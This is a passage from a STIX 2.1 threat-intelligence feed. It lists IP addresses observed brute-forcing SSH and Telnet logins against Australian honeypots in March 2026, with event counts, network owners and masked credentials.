      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 29614. Organisation(s): VODAFONE GHANA AS INTERNATIONAL TRANSIT. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********c, 1*******6, 1******m, 2****9, 3***********4.",
      "id": "indicator--920d860e-c9bd-4085-ab55-bd92c3500f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.87.83.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--e011bc3a-12df-4bf9-8b4b-488912d9ca84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.12.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 141480. Organisation(s): Haash Media.",
      "id": "indicator--bf68ab99-bf88-4a2c-a250-b647b1b221b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.155.131.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 175. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7506. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****1, A******5, A**********3.",
      "id": "indicator--4eb81434-3cf8-494e-a546-05fd8e9266bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.95.157.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4083. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, u****u, u**r, f*****r. Passwords observed (masked): 1****6, ***, P******d, p******d, 1**4.",
      "id": "indicator--9d279288-86c5-4e0f-81c4-072924d958a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.188.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264937. Organisation(s): TOPNET PROVEDOR E INFORMATICA LTDA.",
      "id": "indicator--a16b31de-f9c0-452d-b630-ec5cec146f05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.228.245.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 137951. Organisation(s): ASLINE LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******R, 3***********4, 3**********4, A*******1, B********3.",
      "id": "indicator--adff7f20-41cc-4442-9d5d-d0c571f09702",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.76.131.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******a, A******6, B********3.",
      "id": "indicator--ae733f98-2d1d-47ae-b2b2-c18742932baf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.61.18.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): 1*******@, A*******6, r********3.",
      "id": "indicator--aa037e8c-8afc-4336-96f2-01d1c8781e02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.170.144.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): 1*******#.",
      "id": "indicator--8f7a7e3f-d83e-4a2d-8903-ad1466ddf3b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.170.144.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 80, 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--e08e14c6-b164-4267-a80b-00782f42796c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28146. Organisation(s): MHNET TELECOM. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******5.",
      "id": "indicator--a292220c-7f18-4a44-920a-65ba8666cd52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.45.100.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 58065. Organisation(s): Orion Network Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******a, A******6, Q****3.",
      "id": "indicator--1dc33264-e679-4acd-b56f-b9971ca9f65a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.196.253.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--86002e49-e8de-4bf8-af2d-aed4efc58f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******R, K******3, Q*******3.",
      "id": "indicator--d962e9d7-de6b-42f9-9cdf-39c3cfc7bf2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.74.255.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, u****u, u**r, f*****r. Passwords observed (masked): 1****6, ***, p******d, P******d, 1******8.",
      "id": "indicator--3e5a149c-9421-47d8-97bb-2723982d9d54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.162.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T08:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******d, 1******R, 3***********4, 3**********4, B********3.",
      "id": "indicator--0a086091-ad7a-4f17-852c-593ac12863ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T08:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.31.0.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T08:15:16.000Z",
      "valid_until": "2026-04-05T08:15:11.000Z"
    },
    {
      "created": "2026-03-04T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5c37609b-2815-425c-8825-131b1963ad55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.49.73.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T09:15:13.000Z",
      "valid_until": "2026-04-05T09:15:11.000Z"
    },
    {
      "created": "2026-03-04T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): p*******a.",
      "id": "indicator--ad4e71ad-c6ee-4dc2-89e6-d6478c36ffae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.172.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T09:15:13.000Z",
      "valid_until": "2026-04-05T09:15:11.000Z"
    },
    {
      "created": "2026-03-04T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 200333. Organisation(s): Scientific-Production Enterprise Information Technologies Ltd. Usernames observed (masked): r**t. Passwords observed (masked): a***., p****o.",
      "id": "indicator--38647b45-c30e-4008-a2b9-b149a69fa0f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.156.248.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T09:15:13.000Z",
      "valid_until": "2026-04-05T09:15:11.000Z"
    },
    {
      "created": "2026-03-04T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 42991. Organisation(s): BioNet LLC.",
      "id": "indicator--3a4bf1fb-41f3-40cb-953d-9fbdf66fb1b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.28.188.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T09:15:13.000Z",
      "valid_until": "2026-04-05T09:15:11.000Z"
    },
    {
      "created": "2026-03-04T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s****a, u****u, r**t, e***n. Passwords observed (masked): *, 1****6, e********r, s****a, e****r.",
      "id": "indicator--4a7d487f-eade-44ca-8550-f8c7420b4ce8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T09:15:13.000Z",
      "valid_until": "2026-04-05T09:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******3, 1********@, 8****8.",
      "id": "indicator--d4ceb43c-449e-4fd8-acf8-7e800468e17d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 69. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 140917. Organisation(s): ERA TRADERS. Usernames observed (masked): r**t. Passwords observed (masked): 1******x, 3***********4, A******., A******3, A********..",
      "id": "indicator--ba96e27c-a2e7-429a-8c59-35a759f23a07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.153.110.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--880d4947-b519-44b3-a23b-9945f5485cde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.35.0.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 3484. Organisation(s): Instituto Politecnico Nacional.",
      "id": "indicator--e8f72e52-8061-4b8d-9be5-e079ee3f4518",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '148.204.109.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131392. Organisation(s): GMO-Z.com Runsystem Joint Stock Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******9, 1**********Z, W**********!.",
      "id": "indicator--3b3f5e52-07a6-4560-8472-1db3d83b8f55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.95.112.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******3, 1********@, 8****8.",
      "id": "indicator--501b51c3-6d85-486f-8249-12e0ecde379d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.207.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--efd8853b-fafb-4512-bbb6-1ae07d1d64fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.245.183.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3958. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, u****u, u**r, f*****r. Passwords observed (masked): 1****6, ***, P******d, p******d, 1**4.",
      "id": "indicator--5a3b422b-4086-4208-91ad-be4bc0c10e8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.47.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--372863f6-8781-45c1-9163-64032e9c06d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.169.105.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8b461b16-7bf7-40af-8468-0afb112154d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, C*******6, V****3, a******6.",
      "id": "indicator--e65eaf36-50a9-4109-b105-9c5732b5e4ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.142.110.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--17f0557e-2305-4677-929d-05b8df41024a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.60.241.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:15:13.000Z",
      "valid_until": "2026-04-05T10:15:11.000Z"
    },
    {
      "created": "2026-03-04T10:15:13.000Z",
